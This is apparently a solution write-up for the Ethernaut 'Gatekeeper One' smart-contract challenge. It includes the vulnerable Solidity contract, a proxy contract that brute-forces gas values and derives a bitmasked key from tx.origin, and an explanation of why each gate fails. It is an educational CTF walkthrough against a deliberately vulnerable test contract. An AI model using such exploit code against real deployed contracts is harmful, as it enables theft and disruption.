Problem statement
Make it past the gatekeeper and register as an entrant to pass this level.
Things that might help:
- Remember what you've learned from the Telephone and Token levels.
- You can learn more about the special function
gasleft()
, in Solidity's documentation (see here and here).
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
Solution
Start with creating a new contract for the current level by clicking on the button, Get new instance
. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.
Open up the developer tool in your browser (F12) and get the contract address, by executing this code in the console window.
await contract.address
And keep the address available for a later step.
Open a new tab in your browser (Ctrl+t) and go to Remix. In Remix, create a new file and name it GatekeeperOneProxy.sol
, and add the following Solidity code to it.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface GatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}
contract GatekeeperOneProxy {
event GasNeeded(uint gas);
function callEnter(address _address) external {
bytes8 gateKey = bytes8(uint64(uint160(tx.origin)) & 0xFFFFFFFF0000FFFF);
// Brute force
for (uint256 i = 0; i < 8191; i++) {
(bool success, ) = address(_address).call{gas: i + 30300}(abi.encodeWithSignature("enter(bytes8)", gateKey));
if (success) {
emit GasNeeded(i + 30300);
return;
}
}
}
}
Go to the compiler and compile the GatekeeperOneProxy
contract.
When the contract has been compiled without any errors it's possible to deploy it to the Sepolia network. This is done in the DEPLOY & RUN TRANSACTIONS
view in Remix. Make sure to use the environment, Injected Provider - MetaMask
.
Click the button Deploy
and sign the transaction with your wallet. Now it's time to use our contract.
Take the address from step one and paste it into the enter field right of the orange callEnter
button.
When the address is pasted, push the orange callEnter
button and sign the transaction with your wallet.
After the transaction has been mined and the execution is succeeded, jump back to web page where we created the new instance of the GatekeeperOne
contract. In the console window verify that the contract has updated its state accordingly.
await contract.entrant()
If the outcome looks fine (the value is not 0x00000...), then finish the challenge by clicking the button, Submit instance
, to commit and update the progress on the ethernaut contract.
Explanation
There are three obstacles that we need to overcome in this problem. Each one is defined by a modifier
function.
The first one.
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
Has the same challenge as the problem statement in Telephone - Level 04. The solution to this is to use a "proxy" contract to make our calls through.
-
tx.origin (address)
: sender of the transaction (full call chain) -
msg.sender (address)
: sender of the message (current call)
The second modifier is more difficult.
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
Here we need to understand gasleft
, which is a built-in function that is used to check the remaining gas during a contract call. And also how we can provide and control the gas and ether for the call invocation.
This is how the solution looks like.
// Brute force
for (uint256 i = 0; i < 8191; i++) {
(bool success, ) = address(_address).call{gas: i + 30300}(abi.encodeWithSignature("enter(bytes8)", gateKey));
if (success) {
emit GasNeeded(i + 30300);
return;
}
}
Here we loop up to 8191
to increment the gas in each call to the GatekeeperOne
contract until we pass the modifier. The .call{gas: i + 30300}
is where we control the gas. There is a lot of magic numbers here, however the reason behind the number 30300
is the fact that I tried it out in the Remix environment and used the Remix VM - Sepolia fork
. That's also the reason why the emit
statement is included in the code.
The last modifier.
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
This is a good opportunity to use chisel to see how the type conversions are working.
Lets illustrate what happens with _gateKey
on the left side first.
This shows us that there will be a conversion loss, and we loose FF
. If we do the same exercise for the right side of the equal sign.
Here we loose even more bits. With this information we have the insights for doing the bit manipulation to pass the first require
statement.
bytes8 _gateKey = <value> & 0x0000FFFF;
Next up is part two.
There is no conversion loss here, however the first four bytes can't be equal to zero. Therefore we want to make sure that we don't mask away those values in the _gateKey
variable since the left side conversion will turn them into zeros as seen earlier.
bytes8 _gateKey = <value> & 0xFFFFFFFF0000FFFF
The third part indicates that our _gateKey
should be based on the tx.origin
variable. Let check how that last conversion behave in chisel.
This one is similar to the first part, only the last two bytes are left, but it gives us the hint that our value should be the tx.origin
variable.
bytes8 gateKey = bytes8(uint64(uint160(tx.origin)) & 0xFFFFFFFF0000FFFF);
Now we have all the pieces to pass all the modifier
functions and complete the hack.
This shows once again that is important to be aware of what happens when converting variables between different types in a contract.
Resources
- Gatekeeper One - This challenge
- Remix - Web based IDE for Solidity
- Solidity - Solidity documentation
- web3.js - Ethereum JavaScript API documentation